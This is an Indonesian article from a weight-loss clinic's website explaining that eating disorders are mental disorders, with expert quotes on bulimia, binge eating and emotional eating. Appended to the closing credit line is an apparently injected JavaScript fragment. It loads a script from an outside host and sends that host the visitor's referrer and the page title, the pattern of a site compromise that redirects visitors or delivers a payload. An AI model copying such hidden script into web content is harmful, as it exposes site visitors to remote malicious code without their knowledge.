fbpx
Appointment
Appointment
Appointment

Waspada: Gangguan Makan Ternyata Termasuk Gangguan Mental

Bahaya obesitas yang menakutkan bukan membawa perubahan pola hidup yang lebih sehat. Seringnya malah menimbulkan masalah lain sepert gangguan makan.

Obesitas atau kegemukan memang identik dengan penyakit dan penampilan yang kurang menawan. Inilah yang menyebabkan orang yang takut dan mau melakukan berbagai cara untuk menghindari kegemukan.

Perlu diingat, melakukan berbagai macam cara belum tentu baik untuk kesehatan. Dengan cara mengatasi kegemukan yang salah, Sahabat lightHOUSE bisa terjebak dalam problema yang lebih kompleks akibat terkena gangguan makan. Gangguan pola makan atau eating disorder ini mulai marak kasusnya di Indonesia.

“Cara-cara instan yang banyak ditawarkan juga memperparah kondisi ini,” kata Pakar lightHOUSE dr.Grace Judio-Kahl, MSc. Pemerhati gaya hidup dan konsultan penurunan berat badan yang mendirikan klinik lightHOUSE ini menemukan banyak kasus selama menangani pasien dengan masalah berat badan sejak tahun 2004.

Ia menambahkan, banyak orang yang mengeluhkan berat badannya sulit turun. Ternyata mereka menderita gangguan pola makan. “Orang tersebut makan karena dorongan hati bukan karena rasa lapar,” ia menjelaskan.

Jenis-jenis Gangguan Makan
Gangguan pola makan terdiri dari berbagai jenis, mulai dari bulimia, anoreksia, compulsive overating (makan berlebihan), emotional eating (makanan jadi pelarian saat stres), night eating syndrome (bangun dari tidur di malam hari untuk makan), hingga binge eating (makan banyak tetapi selalu merasa bersalah).

Dalam Pedoman Penyakit Gangguan Jiwa atau Diagnostic and Statistic Mental Disorder edisi terbaru, gangguan pola makan termasuk dalam gangguan mental.

Pakar kami yang lain, Psikollog Tara Adhisti de Thouars, MPsi. mengatakan, kebanyakan orang yang mengalami gangguan makan menyadari perilaku makannya tidak tepat, tetapi mereka sulit mengontrol diri.

“Eating disorder adalah musuh dalam diri sendiri. Terjadinya gangguan pola makan ini juga dipengaruhi oleh karakter orang yang bersangkutan,” kata Tara. Misalnya saja pada orang yang rentan stres dan emosinya tidak stabil akan lebih beresiko mengalami gangguan makan.

“Setelah makan banyak mereka merasa lepas atau lega. Namun, kemudian merasa bersalah, dan perasaan itu menghilangkan perasaan positif yang muncul sebelumnya,” papar psikolog lightHOUSE ini. Gangguan pada bagian tertentu di otak yang mengatur emosi dan pengendalian diri juga bisa memicu seseorang mengalami gangguan makan.

Menurut dr. Grace, gangguan makan tidak bisa diatasi hanya dengan konseling gizi saja. Diperlukan juga terapi kogntifi, bahkan obat-obatan, tergantung kondisi mental pasien. Metode semacam ini membuat diet menjadi lebih mudah dan menyenangkan. Dengan demikian Sahabat lightHOUSE tidak akan terjebak dalam diet ekstrim yang membuat berat badan turun naik atau yoyo.

 

* Ditulis ulang dari Artikel Pemenang II PT Shape UP Indonesia Journalist Writing Competition 2013 yang dimuat di Kompas.com Selasa, 19 Februari 2013 pk. 14:37 WIB, Penulis : Lusia Kus Annas.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

PT Shape Up Indonesia - Copyright © 2020. All Rights Reserved.
Developed byPetrus Andre
FAQ